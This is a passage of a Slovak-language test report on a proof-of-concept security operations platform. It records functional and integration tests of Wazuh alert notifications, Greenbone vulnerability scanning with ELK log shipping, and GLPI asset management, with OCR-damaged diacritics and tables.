Integracia s DFIR-IRIS bola realizovana prostrednictvom nastroja Shuffle, ktory prijima alerty
z Wazuh, aplikuje na ne workflow (enrichment, filtrovanie, klasifikacia) a vysledok zapisuje do
DFIR-IRIS cez REST API. V8etky komponenty (Wazuh Manager, Shuffle, DFIR-IRIS, MS
Teams kanal) boli v prevadzke a vzajomne sietovo dostupné.

Postup testu:

1 Na monitorovanom endpointe sa umyselne vyvolala bezpe¢nostna udalost’ s vysokou
zavaznostou.

2 'V nakonfigurovanom MS Teams kanali sa overilo, i sa objavila notifikacia vo forme
Adaptive Card.

3 Overilo sa, Ze karta obsahuje urover zavaznosti (severity), identifikaciu agenta (nazov,
IP adresa), identifikator pravidla, ktoré alert vyvolalo, a podrobny popis udalosti.

4 Overilo sa, ze alerty s nizkou zavaznostou (pod definovanym prahom) notifikaciu do
MS Teams nevyvolali.

5 V rozhrani Shuffle sa overilo, Ze workflow zachytil alert a vykonal definované akcie
vratane obohatenia o kontextové udaje.

6 V rozhrani DFIR-IRIS sa overilo, ze bol automaticky vytvoreny novy incidentny pripad
(case) obsahujuci udaje prevzaté z podvodného alertu — nazov, popis, zavaznost, udaje
0 agentovi a zdroji udalosti.

7 \Vyvolala sa opakovana suvisiaca bezpe€nostna udalost a overilo sa, Zze systém
aktualizoval existujuci incident namiesto vytvorenia duplicitného pripadu.
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Ocakavany vysledok: Oc¢akavanym vysledkom je, ze notifikacia do MS Teams bude
dorucena v radoch sekund od vzniku udalosti, bude obsahovat klu¢ové informacie o alerte a
filtrovanie podla zavaznosti bude fungovat spravne. Zaroven sa oakava, ze Shuffle workflow
automatizovane vytvori incidentny pripad v DFIR-IRIS s kompletnymi tdajmi a pri opakovanom
vyskyte suvisiaceho alertu aktualizuje existujuci incident bez vytvarania duplicit.

Skutoény vysledok: Notifikacia do MS Teams bola doru€ena v radoch sekund od vzniku
bezpeénostnej udalosti na endpointe. Adaptive Card obsahovala vSetky klu¢ové informacie —
severity, identifikaciu agenta, rule ID a popis udalosti. Alerty s nizkou zavaznostou pod
definovanym prahom notifikaciu nevyvolali, &im sa potvrdila spravna funk&nost filtrovania.
Shuffle workflow zachytil alert, vykonal obohatenie a vytvoril novy incidentny pripad v DFIR-
IRIS. Vytvoreny pripad obsahoval kompletné udaje prevzaté z pévodného alertu bez straty
kfu€ovych poli. Pri opakovanej suvisiacej udalosti systém aktualizoval existujuci incident
pridanim novych artefaktov do ¢asovej osi namiesto vytvarania duplicitného pripadu.

Vyhodnotenie testu: Splnené.

Na zaklade vykonaného overenia mozno konStatovat, Ze integracné vazby komponentu
Wazuh na MS Teams a DFIR-IRIS prostrednictvom Shuffle st v prostredi PoC plne funkéné.
Test potvrdil funkénost’ celého integracného retazca od detekcie udalosti na endpointe cez
dorucenie notifikacie analytikovi az po automatizované vytvorenie a aktualizaciu incidentu v
tiketovom systéme.

Zistenia a poznamky: Test TS-WZ-03 overoval integracné vazby v rozsahu PoC rieSenia.
Notifikacie do MS Teams prostrednictvom Adaptive Cards poskytuju analytikovi dostatocny
kontext na prvotné rozhodnutie o eskalacii bez nutnosti prihlasenia do Wazuh Dashboardu.
Automatizované vytvaranie incidentov v DFIR-IRIS cez Shuffle vyrazne skracuje reakény €as
(MTTR) a eliminuje manualne prepisovanie udajov medzi systémami. Schopnost aktualizovat
existujuci incident pri opakovanych suvisiacich alertoch zabezpecuje konzistenciu evidencie.
Test potvrdil predpoklad pre dalSie rozSirenie integraného workflow o pokrocilé akcie,
napriklad automatizovanu izolaciu endpointu.

Zaver: Test preukazal, Ze integracny retazec Wazuh — MS Teams a Wazuh — Shuffle —
DFIR-IRIS je v prostredi PoC funkény a tvori zéklad pre automatizovany incident response
workflow v ramci SOCaaS platformy INNOSOC.
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10.4 Suhrnné hodnotenie testovania

Identifikator | Nazov testu Overovana oblast’ Vyhodnotenie
. FIM — detekcia
Overenie . e o
. . . vytvorenia, modifikacie a
monitorovania Funkény N ,
TS-Wz-01 . o vymazania suborov, Splnené
integrity suborov test ;
real-time a who-data
(FIM) i
monitoring
Overenie SCA - CIS benchmarky,
TS-WZ-02 hodnotvenla _ Funkény compllg’nc_:e mapovanie, Spinené
bezpelnostnej test remediacia a spatna
konfiguracie (SCA) vazba
(Iggri‘irgeﬂlrzcie Notifikacie — Incqming
TS-WZ-03 | notifikacnych vézieb | [unkeny | Webhook, Adaptive Spinené
test Card, filtrovanie podla
Wazuh do MS Lol .
zavaznosti
Teams
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11 Overenie skenovania zranitelnosti a integracie
Greenbone CE s ELK Stack

Testovanie komponentu Greenbone Community Edition bolo zamerané na overenie
jeho schopnosti plnit’ dlohu preventivnej vrstvy pre riadenie zranitelnosti v ramci PoC. Testy
boli rozdelené do troch oblasti pokryvajucich cely Zivotny cyklus procesu spravy zranitefnosti:
(1) dostupnost’ systému, aktualnost NVT databazy a pripravenost’ skenovacich konfiguracii,
(2) vykonanie skenovania ciefovych systémov, analyza vysledkov a generovanie reportov
vratane klasifikacie podla CVSS a vazby na CVE identifikatory a (3) konfiguracia odosielania
logov do centralneho ELK Stacku prostrednictvom Filebeat agenta. Testovanie v ramci V16
bolo zamerané na overenie zakladnej funk&nosti a konfiguracie — pokrocilé scenare a
integraCné vazby na dalSie SOC komponenty su predmetom samostatného vystupu.

11.1 TS-GB-01 Overenie dostupnosti, zakladnej funkénosti a
aktualnosti databazy zranitelnosti

Identifikator testu: TS-GB-01
Nazov testu: Overenie dostupnosti, zakladnej funkénosti a aktualnosti databazy zranitelnosti
Typ testu: Funkcny test

Ugel testu: Overit, &i je Greenbone Community Edition v prostredi PoC korektne nasadeny,
dostupny cez webové rozhranie GSA (Greenbone Security Assistant) a pripraveny na
skenovanie zranitelnosti. Zarover overit, Ze databaza NVT (Network Vulnerability Tests) je
nacitana, aktualna a obsahuje dostatocné pokrytie znamych zranitefnosti. Test tiez overuje
dostupnost skenovacich konfiguracii, moznost definovat skenovacie ciele (Targets) a
moznost planovania skenovacich uloh (Schedules) pre automatizovanu periodicku kontrolu.

Predmet overenia: Predmetom testu je overenie zakladnej prevadzkovej pripravenosti
komponentu Greenbone po jeho nasadeni v prostredi PoC. Test bol zamerany na to, €i su
vSetky klu¢ové sluzby (gvmd, OpenVAS Scanner, GSA, PostgreSQL, Redis) v prevadzke, Ci
je weboveé rozhranie dostupné a funkéné, Ci je prihlasenie uspesné, a Ci je systém pripraveny
na vykonavanie skenov zranitelnosti. Overovala sa aktualnost NVT feedu — databazy
detekénych testov, ktoré su zakladom pre identifikaciu zranitelnosti. Overovala sa aj
dostupnost predvolenych skenovacich konfiguracii (Full and fast, Discovery, Host Discovery,
System Discovery) a schopnost systému definovat skenovacie ciele vratane IP adries,
rozsahov portov a priradenia k existujucim skenovacim konfiguraciam.

Vychodiskovy stav: Greenbone Community Edition bol nasadeny ako samostatna sluzba v
prostredi PoC. Architektura zahffia skenovaci komponent OpenVAS Scanner, riadiacu vrstvu
gvmd, databazu PostgreSQL a Redis ako in-memory cache pre komunikaciu medzi
komponentmi. Webové rozhranie GSA bolo spristupnené a boli definované plany skenovania
(Schedules) pre automatizovanu periodicki kontrolu. Systém bol nakonfigurovany na
vyuZivanie komunitného NVT feedu, ktory zabezpecluje aktualnost detekénych testov. Pred
zacCiatkom testu sa predpokladalo, Ze vSetky sluzby su spustené a systém ma sietové
pripojenie k monitorovanej infrastrukture.
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Postup testu:

1. Overila sa dostupnost vSetkych klu¢ovych sluzieb Greenbone — gvmd, OpenVAS
Scanner, GSA webserver, PostgreSQL databaza a Redis server.

2. Otvorilo sa webové rozhranie GSA cez webovy prehliada¢ a overilo sa korektné
nacitanie prihlasovacej obrazovky.

3. Vykonalo sa prihlasenie pomocou dostupného pouzivatelského Uctu a overila sa
dostupnost hlavnych sekcii rozhrania (Scans, Assets, SeclInfo, Configuration,
Administration).

4. V sekcii Secinfo — NVTs sa overila dostupnost databazy NVT — pocet nacitanych
detekénych testov, distribucia podfa zavaznosti (Low, Medium, High, Log) a podla
kategorii (family).

5. Overil sa datum poslednej aktualizacie NVT feedu a porovnal sa s aktualnym datumom
na posudenie aktualnosti databazy.

6. V sekcii Seclnfo — CVEs sa overila pritomnost Standardizovanych identifikatorov
zranitelnosti a ich vazba na CVSS skore.

7. V sekcii Configuration — Scan Configs sa overila dostupnost predvolenych
skenovacich konfiguracii (Full and fast, Discovery, Host Discovery, System Discovery)
vratane poctu NVT testov a kategorii pre kazdu konfiguraciu.

8. V sekcii Configuration — Targets sa overila moznost vytvorit novy skenovaci ciel —
zadanie IP adresy cielového systému a vyber rozsahu portov. Overilo sa, ze Target
definuje vyhradne ciel skenovania (adresa, porty, prihlasovacie udaje), pricom
priradenie skenovacej konfiguracie sa realizuje az pri vytvarani skenovacej ulohy
(Task) v sekcii Scans — Tasks.

9. V sekcii Scans — Schedules sa overila moznost definovat plany automatizovaného
skenovania — zadanie ¢asového rozvrhu, frekvencie opakovania a priradenie planu k
skenovacej ulohe.

Ocakavany vysledok: Ocakavanym vysledkom je, Zze Greenbone bude v prostredi PoC
dostupny cez webové rozhranie GSA, umozni UspesSné prihlasenie a poskytne funkéné
pouzivatelské rozhranie pre spravu skenov a analyzu zranitelnosti. NVT databaza ma byt
nacitana s dostatoCnym poc¢tom detekénych testov pokryvajucich zname zranitefnosti a ma
byt aktualna. Predvolené skenovacie konfiguracie maju byt dostupné a systém ma umoznit
definovanie novych skenovacich cielov. Planovanie skenovacich uloh ma byt funkéné a
umoznfovat definovanie automatizovanych ¢asovych rozvrhov.

Skutoény vysledok: Greenbone bol v testovacom prostredi dostupny a vSetky kfu€ové sluzby
(gvmd, OpenVAS Scanner, GSA, PostgreSQL, Redis) boli v prevadzke. Webové rozhranie
GSA sa nacitalo korektne a prihlasenie bolo uspesné. Po prihlaseni boli dostupné vSetky
hlavné sekcie rozhrania. NVT databaza bola naclitana a obsahovala detekéné testy
distribuované podla zavaznosti a kategorii, priCom boli zastupené kfucové rodiny testov
pokryvajuce zranitelnosti operacnych systémov, sietovych sluzieb, webovych aplikacii a
dalSich oblasti. Datum poslednej aktualizacie feedu potvrdzoval aktualnost databazy. V sekcii
CVEs boli dostupné Standardizované identifikatory s vazbou na CVSS skoére. Predvolené
skenovacie konfiguracie (Full and fast, Discovery, Host Discovery, System Discovery) boli
dostupné s korektnym poctom NVT testov. Vytvorenie nového skenovacieho ciefa bolo
uspesné. Planovanie skenovacich uloh fungovalo spravne — bolo mozné definovat ¢asovy
rozvrh, frekvenciu opakovania a priradit plan ku skenovacej ulohe. PoCas testu neboli
pozorovane kritické chyby.
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Vyhodnotenie testu: Splnené.

Na zaklade vykonaného overenia mozno konStatovat, Ze Greenbone Community
Edition bol v prostredi PoC uspeSne nasadeny a sprevadzkovany. Test potvrdil, Zze systém je
dostupny, NVT databaza je aktualna a poskytuje dostatoné pokrytie znamych zranitelnosti,
skenovacie konfiguracie su pripravené a systém je funkéne pripraveny na vykonavanie skenov
zranitefnosti v ramci PoC infrastruktury.

Zistenia a poznamky: Test TS-GB-01 overoval zakladnu dostupnost a prevadzkovu
pripravenost systému, nie vykonavanie samotnych skenov ani integracné vazby. NVT feed v
komunitnej edicii ma oproti komer&nej verzii oneskorenie v aktualizaciach, €o je v rozsahu PoC
akceptovatelné. Distribucia NVT podla kategorii potvrdila Siroké pokrytie vratane rodin pre
SSH, HTTP, SSL/TLS, databazy, operacné systémy a dalSie. Konfiguracia Full and fast
vyuziva najvacsi poCet NVT testov a je vhodna pre komplexné skenovanie, zatial o Discovery
konfiguracie sluzia na rychle mapovanie infrastruktury. Test vytvoril predpoklad pre dalSie testy
zamerané na samotné skenovanie a analyzu vysledkov.

Zaver: Test preukazal, ze Greenbone Community Edition je v prostredi PoC dostupny,
zakladne funkény a pripraveny na vykonavanie skenov zranitelnosti. Tym bola potvrdena jeho
pripravenost na dalSie overovanie v oblasti identifikacie bezpecnostnych slabin a podpory
procesov riadenia zranitelnosti v ramci PoC.

11.2 TS-GB-02 Overenie skenovania zranitelnosti cielovych
systémov a analyzy vysledkov

Identifikator testu: TS-GB-02
Nazov testu: Overenie skenovania zranitelnosti cielovych systémov a analyzy vysledkov
Typ testu: Funkcny test

Ugel testu: Overit, & Greenbone Community Edition dokaZe vykonat skenovanie zranitelnosti
definovanych cielovych systémov v infrastrukture PoC, vygenerovat Strukturované vysledky a
poskytnut analytikovi dostato¢né informacie pre hodnotenie bezpelnostného stavu. Test
overuje cely cyklus od definovania skenovacieho ciela (Target), vytvorenia skenovacej ulohy
(Task), spustenia skenu, sledovania priebehu az po analyzu vysledkov — identifikaciu
zranitelnosti, ich klasifikaciu podla zavaznosti (CVSS), vazbu na Standardizované
identifikatory (CVE), hodnotenie kvality detekcie (QoD) a generovanie reportov. Z pohladu
biznis poziadaviek test pokryva pripad pouzitia UC_12 (Riadit’ zranitelnosti a bezpecnostné
nalezy) a suvisiace funkéné poziadavky FREQ_019 (Sprava zranitelnosti), FREQ_074 (Zber
informacii o zranitelnostiach a konfiguraciach) a FREQ_086 (Aktualizacie testov na
zranitelnosti).

Predmet overenia: Predmetom testu je overenie schopnosti Greenbone vykonavat aktivne
skenovanie cielovych systémov prostrednictvom OpenVAS skenovacieho enginu a poskytnut’
vysledky v podobe Strukturovaného reportu. Overovalo sa, &i systém spravne vykonava
detekcné testy (NVT) voci cielovym systémom, identifikuje zname zranitelnosti, klasifikuje ich
podla zavaznosti na zaklade CVSS skore a priradi im referenéné CVE identifikatory. Zaroven
sa overovala schopnost systému rozliSit zavaznost nalezov (Critical, High, Medium, Low,
Log), poskytnut’ pre kazdy nalez detail vratane popisu zranitelnosti, dotknutého komponentu,
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verzie a odporucania na napravu. Overovala sa aj funk&nost generovania a exportu reportov.

Vychodiskovy stav: Greenbone bol nasadeny a funk&ny (overené testom TS-GB-01). NVT
databaza bola aktualna a skenovacie konfiguracie boli dostupné. V infrastrukture PoC boli
identifikované cielové systémy vhodné pre skenovanie — servery a virtualne stroje v prostredi
Katedry informacnych sieti FRI UNIZA so systémami Linux (Ubuntu, Debian) prevadzkujucimi
rézne sluzby (SSH, HTTP, databazy). Pre jednotlivé ciefové systémy boli v Greenbone
definované Targets s konkrétnymi IP adresami a rozsahmi portov. Bola zvolena skenovacia
konfiguracia Full and fast, ktora vyuziva najrozsiahlejSiu databazu NVT testov a poskytuje
komplexné vysledky v optimalnom Case.

Postup testu:

1. V sekcii Configuration — Targets sa overil existujuci skenovaci ciel ak nebol zadany
vytvoril sa novy — definovala sa IP adresa ciefového systému, rozsah skenovanych
portov a overila sa sietova dostupnost ciela.

2. V sekcii Scans — Tasks sa vytvorila nova skenovacia uloha (Task) s priradenim ciela
a skenovacej konfiguracie Full and fast.

3. Skenovacia uloha sa spustila a sledoval sa jej priebeh v redlnom ¢ase — percento
dokonéenia, pocet spustenych NVT testov a dobu trvania.

4. Po dokonceni skenu sa v sekcii Scans — Reports overili vysledky — celkovy pocet
identifikovanych zranitefnosti a ich distribucia podfa zavaznosti (Critical, High, Medium,
Low, Log).

5. Pre identifikované zranitelnosti s vysokou a kritickou zavaznostou sa overil detail —
nazov zranitelnosti, popis, dotknuty komponent a verzia, referenény CVE identifikator,
CVSS skoére, QoD (Quality of Detection) a odporu€anie na napravu (Solution).

6. Overila sa vazba identifikovanych zranitelnosti na S$tandardizované databazy -
pritomnost CVE identifikatorov a CVSS hodnotenia podla NVD (National Vulnerability
Database).

7. Overila sa schopnost filtrovania vysledkov podla zavaznosti, QoD hodnoty a kategoérie
zranitelnosti.

8. Overila sa funkénost generovania reportu v §tandardizovanom formate vhodnom na
dalSie spracovanie a archivaciu.

9. Overilo sa priradenie identifikovanych zranitelnosti ku konkrétnym cielovym systémom
a sluzbam — vazba vysledkov na skenovany Target, dotknuté porty a beziace sluzby.

Ocakavany vysledok: OcZakavanym vysledkom je, Zze Greenbone UuspeSne vykona
skenovanie definovaného cielového systému pomocou konfiguracie Full and fast, identifikuje
zname zranitelnosti a zobrazi vysledky v Strukturovanej forme. Pre kazdu zranitelnost ma byt
dostupny detail vratane CVSS skore, CVE identifikatora, popisu a odporu¢ania na napravu.
Vysledky maju byt filtrovatelné a exportovatelné. Identifikované zranitelnosti maju byt
priradené ku konkrétnym cielovym systémom a sluzbam beziacim na skenovanych portoch.

Skutoény vysledok: Greenbone UuspeSne vykonal skenovanie cielového systému v
infradtrukture PoC. Skenovacia uloha s konfiguraciou Full and fast prebehla kompletne, pri¢om
priebeh bolo mozné sledovat v realnom ¢ase. Po dokon&eni skenu boli v reporte zobrazené
identifikované zranitelnosti distribuované podla zavaznosti — boli identifikované zranitefnosti v
kategodriach High, Medium a Low, ako aj informacné zaznamy typu Log. Pre zranitelnosti s
vysokou zavaznostou bol dostupny detail vratane nazvu, popisu dotknutého komponentu,
referenéného CVE identifikatora, CVSS skore a odporu€ania na napravu. Prikladom
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identifikovanej zranitefnosti s vysokou zavaznostou bola CVE-2024-6387 (OpenSSH
regreSSHion — race condition v signal handleri sshd umoznujuca neautentizované vzdialené
spustenie kédu, CVSS 8.1), detegovana na SSH serveri jedného z monitorovanych uzlov.

QoD hodnota bola uvedena pre kazdy nalez, ¢im bolo mozné posudit spolahlivost
detekcie. Filtrovanie vysledkov podla zavaznosti a QoD fungovalo spravne. Generovanie
reportu bolo uspes$né. Identifikované zranitefnosti boli korektne priradené ku konkrétnym
cielovym systémom a sluzbam beziacim na skenovanych portoch, ¢o potvrdzuje kontextové
prepojenie vysledkov s realnou infrastruktirou a umoznuje cielenu prioritizaciu napravnych
opatreni.

Vyhodnotenie testu: Splnené.

Na zaklade vykonaného overenia mozno konStatovat, Ze Greenbone Community
Edition je schopny vykonat komplexné skenovanie zranitelnosti ciefovych systémov v
infradtrukture PoC a poskytnut Strukturované vysledky s dostatonou mierou detailu pre
bezpecnostné hodnotenie. Test potvrdil funkénost celého cyklu od definovania ciela cez
vykonanie skenu az po analyzu a export vysledkov.

Zistenia a poznamky: Test TS-GB-02 bol zamerany na overenie zakladného skenovacieho
cyklu v rozsahu PoC. Konfiguracia Full and fast bola zvolena ako najkomplexnejsi dostupny
skenovaci profil, ktory vyuziva najvacsi pocet NVT testov. Doba trvania skenu zavisi od poctu
cielovych systémov, rozsahu portov a sietovej dostupnosti. Niektoré identifikované
zranitefnosti mali nizSiu QoD hodnotu, ¢o indikuje, Ze detekcia bola zaloZena na verzii softvéru
(banner check) a nie na aktivnom overeni zranitelnosti — toto je bezné spravanie a analytik
musi pri triazi zohladnit QoD hodnotu pri rozhodovani o prioritach napravy. Test potvrdil
predpoklad pre dalSie vyuzitie Greenbone v procesoch riadenia zranitelnosti podfa UC_12,
kde vystupy skenov sluzia ako vstup pre prioritizaciu, remediation planovanie a reporting.

Zaver: Test preukazal, ze Greenbone Community Edition je v prostredi PoC schopny
identifikovat’ zranitelnosti cielovych systémov, klasifikovat ich podfa zavaznosti a poskytnut
analytikovi dostatocny kontext pre rozhodovanie o napravnych opatreniach. Tym bola
potvrdena jeho pouzitelnost ako preventivneho bezpecnostného nastroja v ramci SOCaaS
rieSenia INNOSOC.

11.3 TS-GB-03 Overenie integracie Greenbone s ELK Stack
prostrednictvom Filebeat a Logstash pipeline

Identifikator testu: TS-GB-03

Nazov testu: Overenie integracie Greenbone s ELK Stack prostrednictvom Filebeat a
Logstash pipeline

Typ testu: Integracny test

Ugel testu: Overit, &i logy a vystupy z Greenbone Community Edition st korektne odosielané
do centralneho ELK Stacku prostrednictvom Filebeat agenta a Logstash pipeline, indexované
v Elasticsearch a dostupné pre vyhladavanie a vizualizaciu v Kibane. Integracia zabezpecuje,
Ze udaje o skenoch zranitelnosti su centralizovane ulozené v ramci SIEM rieSenia a dostupné
pre korelaciu s ostatnymi bezpeCnostnymi udalostami. Test overuje cely datovy retazec od
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generovania logov na strane Greenbone cez ich transport a transformaciu az po uloZenie a
vyhladanie v Elasticsearch. Z pohladu biznis poziadaviek test pokryva funkéné poziadavky
FREQ_074 (Zber informacii o zranitelnostiach a konfiguraciach), FREQ_013 (Integracia s
dalSimi nastrojmi ako SIEM) a UC_13 (Navrhnut a udrziavat bezpe€nostnu architektiru
SOCaaS prostredia zakaznika).

Predmet overenia: Predmetom testu je overenie funk&nosti integracnej vazby medzi
Greenbone a ELK Stack v prostredi PoC. Na strane Greenbone je nasadeny Filebeat agent,
ktory zbiera logy a odosiela ich do centralneho Logstash. Logstash pipeline identifikuje udaje
z Greenbone podfa tagu filebeat-gvm a aplikuje na ne Specificku transformaénu logiku —
parsovanie JSON formatu alebo spracovanie HTTP access logov pomocou grok vzoru.
Transformované udaje su nasledne uloZené do Elasticsearch pod dedikovanym indexom gvm-
greenbone s nastavenou ILM politikou (gvm-greenbone-ILM) pre spravu zivotného cyklu dat.
Overovala sa kompletnost datového retazca, spravnost parsovania, indexovanie v
Elasticsearch a dostupnost’ udajov v Kibane.

Vychodiskovy stav: Greenbone bol nasadeny a funkény (overené testom TS-GB-01). ELK
Stack bol v prevadzke — Elasticsearch klaster s uzlami na IP 192.168.1.178, Logstash na IP
192.168.1.177 a Kibana ako vizualizatné rozhranie. Na strane Greenbone bol nasadeny
Filebeat agent konfigurovany na odosielanie logov do Logstash. Logstash pipeline (filters.conf)
obsahovala vetvu pre spracovanie udajov s tagom filebeat-gvm — JSON parser pre
Strukturované spravy a grok vzor pre HTTP access logy. Output pipeline (output.conf) bola
nakonfigurovana na ukladanie udajov do Elasticsearch s ILM aliasom gvm-greenbone, ILM
vzorcom {now/d}-000001 a ILM politikou gvm-greenbone-ILM. Komunikacia medzi Logstash a
Elasticsearch bola zabezpecena certifikatom a autentifikaciou prostrednictvom pouzivatela
logstash_internal s rolou logstash_writer.

Postup testu:

1. Na strane Greenbone sa overila aktivha konfiguracia Filebeat agenta — overil sa
vystupny endpoint (Logstash adresa), nastaveny tag filebeat-gvm a zdrojové cesty
logov.

2. V Greenbone sa spustila skenovacia aktivita alebo ina operacia generujlica logové
zaznamy.

3. Na strane Logstash sa overilo prijatie Udajov s tagom filebeat-gvm v logu Logstash —
potvrdenie, ze pipeline prijala a spracovala udaje z Greenbone.

4. Overila sa spravnost parsovania — pre JSON formatované spravy sa overilo, Ze polia
boli korektne extrahované, pre HTTP access logy sa overilo, Ze grok vzor spravne
identifikoval polia client_ip, http_method, request, response_code, bytes_sent, referrer
a user_agent.

5. V Elasticsearch sa overila existencia indexu gvm-greenbone a pritomnost dokumentov
v tomto indexe — pomocou Kibana Dev Tools alebo priamo cez Elasticsearch REST
API.

6. Overilo sa, Zze ILM politika gvm-greenbone-ILM je aktivna a spravne sa aplikuje na
index — overenie rollover aliasu a vzoru indexovania.

7. V Kibane sa vytvoril alebo overil existujuci index pattern pre gvm-greenbone a overila
sa dostupnost udajov v sekcii Discover — vyhladavanie podfa ¢asového rozsahu,
filtrovanie podla poli.

8. Overila sa ¢asova korektnost — timestamp v Elasticsearch zodpovedal skuto¢nému
¢asu generovania logu na strane Greenbone.
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Ocakavany vysledok: Oc¢akavanym vysledkom je, Zze logy z Greenbone budu
prostrednictvom Filebeat korektne odoslané do Logstash, spracované podfa definovanej
pipeline, indexované v Elasticsearch pod indexom gvm-greenbone a dostupné pre
vyhladavanie a vizualizaciu v Kibane. Parsovanie ma byt korektné — JSON udaje maju byt
spravne rozloZené na polia a HTTP access logy maju byt spracované grok vzorom. ILM politika
ma byt aktivna a spravne aplikovana. Casové znacky maju byt konzistentné.

Skutocny vysledok: Filebeat agent na strane Greenbone korektne odosielal logové zaznamy
do centralneho Logstash. Logstash pipeline spravne identifikovala udaje podfa tagu filebeat-
gvm a aplikovala prislusnu transformaénu logiku. JSON formatované spravy boli korektne
parsovaneé a ich polia boli dostupné ako samostatné atributy v Elasticsearch. HTTP access
logy boli spracované grok vzorom a polia client_ip, http_method, request, response_code,
bytes_sent, referrer a user_agent boli korektne extrahované. Udaje boli indexované v
Elasticsearch pod indexom gvm-greenbone. ILM politika gvm-greenbone-ILM bola aktivha a
rollover alias fungoval podfla definovaného vzoru. V Kibane boli udaje dostupné cez index
pattern gvm-greenbone a bolo mozné ich vyhladavat, filtrovat a vizualizovat v sekcii Discover.
Casové znacky dokumentov zodpovedali skutoénému éasu generovania logov na strane
Greenbone.

Vyhodnotenie testu: Splnené.

Na zaklade vykonaného overenia mozno konStatovat, ze integracna vazba medzi
Greenbone Community Edition a ELK Stack je v prostredi PoC funk&na. Test potvrdil, Ze udaje
z Greenbone su korektne transportované, transformované a indexované v centralnom SIEM
rieSeni a su dostupné pre vyhladavanie a vizualizaciu.

Zistenia a poznamky: Test TS-GB-03 overoval integraénu vazbu v rozsahu PoC. Logstash
pipeline pre filebeat-gvm obsahuje dve vetvy — JSON parser pre Strukturované spravy a grok
vzor pre HTTP access logy, ¢im pokryva oba formaty vystupov Greenbone. Komunikacia
medzi Logstash a Elasticsearch je zabezpec€ena certifikatom a autentifikaciou s principom
politika zabezpecuje automaticku spravu zivotného cyklu dat a zabrariuje nekontrolovanému
rastu indexu. Centralizacia udajov o skenoch zranitelnosti v ELK umozfuje korelaciu s
ostatnymi bezpecnostnymi udalostami — napriklad porovnanie identifikovanych zranitelnosti s
alertmi z Wazuh alebo detekciami z Suricata. V dalSom rozvoji by bolo vhodné implementovat
dedikované dashboardy v Kibane pre vizualizaciu trendov zranitelnosti a integraciu s procesmi
riadenia zranitefnosti podla UC_12.

Zaver: Test preukazal, Ze integracia Greenbone Community Edition s ELK Stack
prostrednictvom Filebeat a Logstash pipeline je v prostredi PoC funk&na. Udaje o skenoch
zranitelnosti su centralizovane dostupné v ramci SIEM rieSenia, ¢o vytvara zaklad pre ich
korelaciu s ostatnymi bezpecnostnymi udalostami a pre podporu procesov riadenia
zranitelnosti v ramci SOCaas$S platformy INNOSOC.
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11.4 Sudhrnné hodnotenie testovania funkénosti komponentu
Greenbone Community edition

Identifikator ‘ Nazov testu ‘ Typ testu Overovana oblast’ ‘ Vyhodnotenie
Overenie dostupnosti, Nasadenie, GSA rozhranie,

TS-GB-01 funkénosti a aktualnosti Funkény test NVT databaza, skenovacie Splnené
NVT konfiguracie, Schedules
Overenie skenovania (S:I\(/esng/\g\r/]ié)/boo klasifikacia

TS-GB-02 zranitelnosti a analyzy Funkény test . . . " | Splnené

. reporting, priradenie k
vysledkov .
systémom

Overenie konfiguracie Filebeat agent, Logstash

TS-GB-03 odosielania logov do ELK | Funkény test pipeline, index gvm- Splnené
Stacku greenbone, Kibana Discover
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Fakults redeni BRAIN:IT
12 Overenie evidencie aktiv, ticketingu a auditovatelnosti
v GLPI

Testovanie komponentu GLPI bolo zamerané na overenie jeho schopnosti plnit’ ulohu
procesnej a evidenc¢nej vrstvy pre spravu IT aktiv, CMDB a riadenie incidentov v ramci PoC.
Testy boli rozdelené do troch oblasti pokryvajucich klu€ové funkcionality ITSM systému: (1)
dostupnost’ systému, evidencia IT aktiv a CMDB funknost’ vratane spravy vztahov medzi
aktivami, (2) ticketing a riadenie Zivotného cyklu incidentov vratane kategorizacie, priradovania
a sledovania stavov a (3) sprava pouzivatefov, organizaénych jednotiek, roli a pristupovych
prav vratane profilov a entit. Testovanie v ramci V16 bolo zamerané na overenie zakladnej
funkCnosti nasadeného systému — pokrocilé integratné scenare so SOC komponentmi su
predmetom samostatného vystupu.

12.1 TS-GLPI-01 Overenie dostupnosti, evidencie IT aktiv a CMDB
funkénosti

Typ testu: Funkcny test

Ugel testu: Overit, & je GLPI v prostredi PoC korektne nasadeny, dostupny cez webové
rozhranie a pripraveny na evidenciu a spravu IT aktiv. Zaroven overit, ze CMDB funkcionalita
je aktivna — systém umoznuje evidovat' aktiva, rozliSovat’ ich podla typu (hardvér, softveér,
sietové zariadenia), kategorizovat ich, evidovat vztahy medzi aktivami a priradit ich k
organizaénym jednotkam a pouzivatelom. Test je zamerany na overenie inventarizacie a
spravy aktiv, schopnosti vytvarat, editovat a mazat zaznamy o aktivach a rozlienia aktiv
podla typu.

Predmet overenia: Predmetom testu je overenie zakladnej prevadzkovej pripravenosti
komponentu GLPI po jeho nasadeni v prostredi PoC a funkénosti jeho CMDB modulu. Test
bol zamerany na to, €i je webové rozhranie dostupné a funkéné, i je prihlasenie uspesné a i
systém umoznuje pracovat s evidenciou IT aktiv. Overovalo sa, €i su v systéme zavedené
kategorie aktiv (poc€itace, sietové zariadenia, softvér), €i je mozné vytvarat, editovat a mazat
zaznamy o aktivach, i je mozné priradit’ aktiva k organizanym jednotkam a pouzivatelom a
¢i dashboard poskytuje sumarizovany prehfad o evidovanych aktivach a stave infrastruktury.
Overovala sa aj schopnost systému rozliSovat' typy aktiv podla preddefinovanych kategorii a
evidovat' zakladné vlastnosti aktiv — nazov, typ, vlastnik, organizacna entita.

Vychodiskovy stav: GLPI bol nasadeny ako samostatna webova aplikacia v prostredi PoC
nad Standardnym webovym stackom (Apache/Nginx, PHP) s relanou databazou
(MySQL/MariaDB). Zakladna konfiguracia bola zamerana na spristupnenie webového
rozhrania a aktivaciu kfu¢ovych funkcionalit — evidencie aktiv (CMDB) a ticketing systému. Do
systému boli zavedené zakladné objekty — IT aktiva, pouZivatelia, organizacné jednotky a
incidentné zaznamy. Databazova vrstva zabezpecuje ukladanie prevadzkovych a historickych
udajov. Pred zaciatkom testu sa predpokladalo, Ze webova sluzba je spustena a systém je
pristupny cez webovy prehliadac.

Postup testu:

1. Overila sa dostupnost webového rozhrania GLPI — otvorenim URL adresy v prehliadaci
sa overilo korektné nacitanie prihlasovacej obrazovky.
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2. Vykonalo sa prihlasenie pomocou dostupného pouzivatelského uctu a overila sa

dostupnost hlavnych sekcii rozhrania — Assets, Assistance, Management, Tools,
Administration.

3. V sekcii Assets sa overila dostupnost’ kategérii aktiv — Computers, Network devices,
Software, Printers, Monitors a dalSie typy podla konfiguracie systému.

